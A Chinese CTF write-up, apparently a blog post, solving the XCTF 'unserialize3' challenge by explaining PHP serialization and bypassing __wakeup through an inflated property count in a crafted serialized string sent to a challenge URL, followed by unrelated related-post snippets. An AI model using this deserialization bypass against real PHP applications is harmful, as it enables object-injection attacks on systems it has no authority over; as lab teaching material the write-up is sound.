unserialize3-php反序列化

unserialize3

  • 环境地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1

  • 打开代码

    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=

    _wakeup经常用在反序列化操作中,例如重新建立数据库连接,或执行其他初始化操作。所以猜测被反序列化了

    但是这里看到这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化利用php中的new运算符,实例化类xctf

    new是申请空间的操作符,一般用于类

    比如定义了一个class a{public i=0;}

    $c = new a(); 相当于定义了一个基于a类的对象,这时候 $c->i 就是0

    (参考https://zhidao.baidu.com/question/495110936393795804.html)

    写一段php代码执行(网上就有php代码在线执行)

    <?php
    class xctf{ //类
    public $flag = '111';//public定义flag变量公开可见
    public function __wakeup(){
    exit('bad requests');
    }
    }
    $a=new xctf();
    echo(serialize($a));
    ?>

    得出结果

    O:4:"xctf":1:{s:4:"flag";s:3:"111";}

    如果直接传参给code会被_wakeup()函数再次序列号,所以要绕过他,利用 _wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 _wakeup的执行。

    序列化返回的字符串格式:

    O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
  • O:表示序列化的是对象

  • :表示序列化的类名称长度

  • :表示序列化的类的名称

  • :表示被序列化的对象的属性个数

  • <field name 1>:属性名

  • <field value 1>:属性值

所以要修改属性个数,既把1改为2以上

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

传参给code,得到flag:

http://111.200.241.244:61154/index.php?code=O:4:%22xctf%22:2:{s:4:%22flag%22;s:3:%22111%22;}

php反序列化-unserialize3的更多相关文章

  1. xctf进阶-unserialize3反序列化

    一道反序列化题: 打开后给出了一个php类,我们可以控制code值: `unserialize()` 会检查是否存在一个 `__wakeup()` 方法.如果存在,则会先调用 `__wakeup` 方 ...

  2. 攻防世界(十三)unserialize3

    攻防世界系列 :unserialize3 1.打开题目,反序列化 2.代码审计 类xctf被调用时_weakeup()函数会被自动执行,但当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常, ...

  3. 攻防世界 WEB 高手进阶区 unserialize3 Writeup

    攻防世界 WEB 高手进阶区 unserialize3 Writeup 题目介绍 题目考点 PHP反序列化 __wakeup漏洞 Writeup 题名 unserialize 是反序列化函数名 了解一 ...

  4. C#反序列化XML异常:在 XML文档(0, 0)中有一个错误“缺少根元素”

    Q: 在反序列化 Xml 字符串为 Xml 对象时,抛出如下异常. 即在 XML文档(0, 0)中有一个错误:缺少根元素. A: 首先看下代码: StringBuilder sb = new Stri ...

  5. C# 序列化与反序列化几种格式的转换

    这里介绍了几种方式之间的序列化与反序列化之间的转换 首先介绍的如何序列化,将object对象序列化常见的两种方式即string和xml对象; 第一种将object转换为string对象,这种比较简单没 ...

  6. 迟来的Json反序列化

    源码发布 搞了一个下午,终于搞定了这个号称中国的github...以后源码直接在这里发布了(github实在用不来,英文实在太烂了) https://code.csdn.net/jy02305022/ ...

  7. .Net使用Newtonsoft.Json.dll(JSON.NET)对象序列化成json、反序列化json示例教程

    JSON作为一种轻量级的数据交换格式,简单灵活,被很多系统用来数据交互,作为一名.NET开发人员,JSON.NET无疑是最好的序列化框架,支持XML和JSON序列化,高性能,免费开源,支持LINQ查询 ...

  8. 使用Newtonsoft.Json.dll(JSON.NET)动态解析JSON、.net 的json的序列化与反序列化(一)

    在开发中,我非常喜欢动态语言和匿名对象带来的方便,JSON.NET具有动态序列化和反序列化任意JSON内容的能力,不必将它映射到具体的强类型对象,它可以处理不确定的类型(集合.字典.动态对象和匿名对象 ...

  9. 【.NET深呼吸】如何反序列化动态JSON

    .net本身除了支持SOAP.XML.二进制等序列化和反序列化,后来也加入了对JSON的序列化的支持.然而,在实际开发中,常常会遇到结构不确定的JSON对象,这些对象可能是其他代码动态生成的,你事先无 ...

随机推荐

  1. Zabbix agent端 配置

    Zabbix agent端 配置 agent端环境 zabbix-client:RHEL8 IP:192.168.121.11 一.安装 Zabbix 源 [root@zabbix-client ~] ...

  2. 查找目录下的所有文件中是否含有某个字符串 find .|xargs grep -ri "IBM"

    linux查看目录下所有文件内容中是否包含某个字符串 2017-07-25 15:13:22 默一鸣 阅读数 21556 文章标签: linux查找文件夹文件内容字符串 更多 分类专栏: Unix   ...

  3. 015.Python函数名的使用以及函数变量的操作

    一 函数名的使用 python中的函数可以像变量一样,动态创建,销毁,当参数传递,作为值返回,叫第一类对象.其他语言功能有限 1.1 函数名是个特殊的变量,可以当做变量赋值 def func(): p ...

  4. S6 文件备份与压缩命令

    6.1 tar:打包备份 6.2 gzip:压缩或解压文件 6.3-4 zip.unzip 6.5 scp:远程文件复制 6.6 rsync:文件同步工具

  5. gpgj-12 ROIC估值法总结

    1.公司甲乙丙 ·公司的分类: 1.ROIC  <    10%的公司        不赚钱的公司,价值摧毁者,避免投资这种 2.ROIC 约等于 10%的公司        勉强能够糊口,EV ...

  6. Linux Access.conf安全配置

    access.conf is the configuration file used to logins to the Linux or Unix systems. This file is loca ...

  7. sizeof 的妙用

    (1)sizeof也可以对一个函数调用求值,其结果是函数返回类型的大小,函数并不会被调用.

  8. Question&&Answer

    1.使用Navicat连接Ubuntu上面的MySql数据库失败 解决办法:Navicat版本的问题,尝试换用更高版本的Navicat解决了问题(当时使用了Navicat Premium_11.2.7 ...

  9. 通过git将项目传到github上

    lenovo@LAPTOP-3KMEN0B2 MINGW64 /e/Users/lenovo/springboot-project/forum $ ls forum.iml HELP.md mvnw* ...

  10. libevent中最小堆实现算法解析

    libevent,一个非常好的c的网络库,最近开始学习并分析下,做个记录.源码选用的1.4版本.因为感觉这版的代码比较精简,也没有太多宏定义,个人感觉适合学习原理. 从哪里开始呢,我选择从一些最简单的 ...